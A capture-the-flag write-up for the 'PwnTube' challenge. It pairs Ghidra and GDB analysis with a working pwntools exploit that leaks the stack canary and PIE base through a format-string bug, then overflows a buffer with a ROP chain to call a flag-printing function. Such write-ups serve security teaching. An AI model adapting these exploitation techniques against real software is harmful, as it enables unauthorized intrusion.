PwnTube

Description

Who is this guy? And why can't I skip this ad?! He really looks like someone who could never give me up though :)

This is a remote challenge, you can connect to the service with: nc pwntube.challs.srdnlen.it 1337

Attachments: PwnTube

Solution

This binary has Format String Vulnerability and Buffer Overflow (BOF).

$ file PwnTube
PwnTube: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b739b5f0373b16955d2f14bed730cd6e90cb62a3, for GNU/Linux 3.2.0, not stripped

$ checksec PwnTube
[*] '/root/ctf/Srdnlen_CTF_2023/binary/PwnTube/PwnTube'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

solver.py

from pwn import *

elf = ELF("PwnTube", checksec=False)
context.binary = elf


def conn() -> pwnlib.tubes:
    if args.REMOTE:
        io = remote("localhost", 1337)

    elif args.GDB:
        gdbscript = """
        set follow-fork-mode parent
        set pagination off
        # b *buy_premium+426
        # b *showComments+96
        # b *showComments+116
        c
        """
        io = gdb.debug([elf.path], gdbscript=gdbscript, api=True)
    else:
        io = elf.process()

    return io


def main():
    io = conn()

    # leak canary to bypass Stack Smash Protection
    io.sendline(b"4")
    io.sendline(b"%71$p")
    io.sendline(b"3")
    io.recvuntil(b"First!!! :D\n")
    leak_canary = io.recvlineS()
    leak_canary = int(leak_canary, 16)
    log.success(f"{hex(leak_canary)=}")

    # leak main address to bypass PIE
    io.sendline(b"4")
    io.sendline(b"%55$p")
    io.sendline(b"3")
    io.recvuntil(b"First!!! :D\n")
    io.recvline()
    leak_main = io.recvlineS()
    leak_main = int(leak_main, 16)
    log.success(f"{hex(leak_main)=}")

    elf.address = leak_main - elf.sym["main"]

    io.sendline(b"777")

    io.sendline(b"5")
    io.sendline(b"2")

    rop = ROP(elf)
    rsi_rdi_ret = rop.find_gadget(["pop rsi", "pop rdi", "ret"]).address

    # bof
    payload = flat(
        b"A" * 504,
        leak_canary,
        b"B" * 8,
        rop.ret.address,
        rsi_rdi_ret,
        0xFEEDFACE,
        0xDEADBEEF,
        rop.ret.address,
        elf.sym["skipAd"],
    )
    io.sendlineafter(b"Insert your name:", payload)
    io.sendlineafter(b"Insert your card number:", b"B")

    io.interactive("")


if __name__ == "__main__":
    main()

In my local environment, I could be successful to get the flag after running it several times.

$ echo dummy > flag.txt
$ python3 solver.py
[+] Starting local process '/root/ctf/Srdnlen_CTF_2023/binary/PwnTube/PwnTube': pid 265893


Processing payment...
Payment failed, you're broke
[*] Got EOF while reading in interactive

[*] Process '/root/ctf/Srdnlen_CTF_2023/binary/PwnTube/PwnTube' stopped with exit code -11 (SIGSEGV) (pid 265893)

$ python3 solver.py
[+] Starting local process '/root/ctf/Srdnlen_CTF_2023/binary/PwnTube/PwnTube': pid 266023
[+] hex(leak_canary)='0xa807765c15cb1b00'
[+] hex(leak_main)='0x55f65199376b'
[*] Loaded 9 cached gadgets for 'PwnTube'
[*] Switching to interactive mode

Processing payment...
Payment failed, you're broke


You did not give me up :)
You earned this:

dummy
[*] Got EOF while reading in interactive

[*] Process '/root/ctf/Srdnlen_CTF_2023/binary/PwnTube/PwnTube' stopped with exit code -11 (SIGSEGV) (pid 266023)

Step 1: Leak canary and main address

Decompiled showComments function with Ghidra:

void showComments(long param_1,int param_2)

{
  int local_c;

  clearScreen();
  printLogo();
  puts(&DAT_001035f0);
  for (local_c = 0; local_c < param_2; local_c = local_c + 1) {
    printf((char *)(param_1 + (long)local_c * 0x1e));
  }
  return;
}

Format String Vulnerability is in the showComments function.

Run this binary with GDB: gdb -q PwnTube

input:

set follow-fork-mode parent
b *showComments+96
r
4
%6$p
3
c 8

gdb:

[-------------------------------------code-------------------------------------]
   0x5555555553e3 <showComments+85>:    add    rax,rdx
   0x5555555553e6 <showComments+88>:    mov    rdi,rax
   0x5555555553e9 <showComments+91>:    mov    eax,0x0
=> 0x5555555553ee <showComments+96>:    call   0x555555555080 <printf@plt>
   0x5555555553f3 <showComments+101>:   add    DWORD PTR [rbp-0x4],0x1
   0x5555555553f7 <showComments+105>:   mov    eax,DWORD PTR [rbp-0x4]
   0x5555555553fa <showComments+108>:   cmp    eax,DWORD PTR [rbp-0x1c]
   0x5555555553fd <showComments+111>:   jl     0x5555555553c9 <showComments+59>
Guessed arguments:
arg[0]: 0x7fffffffdc00 --> 0xa70243625 ('%6$p\n')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdad0 --> 0x9ffffdaf0
0008| 0x7fffffffdad8 --> 0x7fffffffdb10 ("Nice video!\n")
0016| 0x7fffffffdae0 --> 0x5
0024| 0x7fffffffdae8 --> 0x8ffffdd58
0032| 0x7fffffffdaf0 --> 0x7fffffffdc40 --> 0x1
0040| 0x7fffffffdaf8 --> 0x555555555abd (<main+850>:    jmp    0x555555555b61 <main+1014>)
0048| 0x7fffffffdb00 --> 0x10000000000
0056| 0x7fffffffdb08 --> 0x300000009
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x00005555555553ee in showComments ()

gdb-peda$ tele $sp 100
0000| 0x7fffffffdad0 --> 0x9ffffdaf0
(snip)
0392| 0x7fffffffdc58 --> 0x55555555576b (<main>:        push   rbp)
(snip)
0520| 0x7fffffffdcd8 --> 0x6e81d4e7447e3300  # canary value

According to x86_64 calling convention, the output value of the printf 6th argument (printf(fmt, 1st, 2nd, 3rd, 4th, 5th, 6th, ...)) is $sp value.

e.g.

The 392nd value and the 520th value in stack are the main function address and the canary value, respectively. One block is 8 bytes so we can get the stack value by using the value divided the number of bytes from $sp by 8 and added 6 as n of %n$p.

>>> 0x7fffffffdc58 - 0x7fffffffdad0  # main function address
392
>>> 392//8+6
55
>>> 0x7fffffffdcd8 - 0x7fffffffdad0  # canary value
520
>>> 520//8+6
71

Thus, the output of %55$p and %71$p are the main function address and the canary value, respectively.

Step 2: BoF to return skipAd function

Decompiled buy_premium function with Ghidra:

void buy_premium(void)

{
  long in_FS_OFFSET;
  int local_230;
  float local_22c;
  undefined local_228 [32];
  undefined local_208 [504];
  // (snip)
      puts("Insert your name:");
      __isoc99_scanf("%s",local_208);
      cleanBuffer();
      puts("Insert your card number:");
      __isoc99_scanf("%16s",local_228);
      cleanBuffer();
      puts("Processing payment...");
      sleep(0);
      puts("Payment failed, you\'re broke");

The first argument of local_208's scanf is %s, which does not specify the number. Buffer overflow can occur here.

Run this binary with GDB: gdb -q PwnTube

input:

set follow-fork-mode parent
b *buy_premium+426
pattc 600
r
777
5
2
<pattc 600 output>
dummycardnumber

gdb:

[----------------------------------registers-----------------------------------]
RAX: 0x414d734137734168 ('hAs7AsMA')
(snip)
[-------------------------------------code-------------------------------------]
   0x555555555752 <buy_premium+419>:    jmp    0x555555555755 <buy_premium+422>
   0x555555555754 <buy_premium+421>:    nop
   0x555555555755 <buy_premium+422>:    mov    rax,QWORD PTR [rbp-0x8]
=> 0x555555555759 <buy_premium+426>:    sub    rax,QWORD PTR fs:0x28
   0x555555555762 <buy_premium+435>:    je     0x555555555769 <buy_premium+442>
   0x555555555764 <buy_premium+437>:    call   0x555555555060 <__stack_chk_fail@plt>
   0x555555555769 <buy_premium+442>:    leave
   0x55555555576a <buy_premium+443>:    ret
(snip)

gdb-peda$ patts
Registers contain pattern buffer:
RAX+0 found at offset: 504
(snip)

the offset of canary is 504.

Decompiled skipAd function with Ghidra:

void skipAd(int param_1,int param_2)

{
  long in_FS_OFFSET;
  undefined7 local_1f;
  undefined uStack_18;
  undefined7 uStack_17;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  clearScreen();
  local_1f = 0x662f2e20746163;
  uStack_18 = 0x6c;
  uStack_17 = 0x7478742e6761;
  // cat /flag.txt

  if ((param_1 == -0x21524111) && (param_2 == -0x1120532)) {
    puts("\nYou did not give me up :)\nYou earned this:\n");
    system((char *)&local_1f);
  }
  // (snip)

The argument of the skipAd function must be (0xdeadbeef, 0xfeedface), which rdi and rsi are 0xdeadbeef and 0xfeedface, respectively. Adjust the stack to assign these to registers by using ROP Gadget and return to skipAd function.

See The MOVAPS issue for SIGSEGV in movaps.